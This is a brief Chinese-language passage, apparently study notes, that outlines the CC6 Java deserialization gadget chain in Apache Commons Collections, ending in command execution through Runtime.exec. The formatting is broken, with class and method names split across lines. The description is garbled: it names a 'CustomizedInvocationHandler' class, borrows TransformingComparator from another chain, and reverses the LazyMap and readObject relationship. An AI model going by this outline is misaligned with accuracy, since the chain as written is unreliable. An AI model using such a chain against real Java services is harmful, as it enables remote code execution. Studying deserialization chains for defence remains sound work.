cc6 链 利用的是 Apache Commons Collections 库中的 LazyMap 类和 CustomizedInvocationHandler 类。其核心思路是:
- 利用
CustomizedInvocationHandler
的invoke
方法调用readObject
。 - 利用
LazyMap
的get
方法触发readObject
。 - 利用
TransformingComparator
的compare
方法。 - 利用
InvokerTransformer
的transform
方法调用Method.invoke
。 - 利用
Runtime.getRuntime().exec()
执行命令。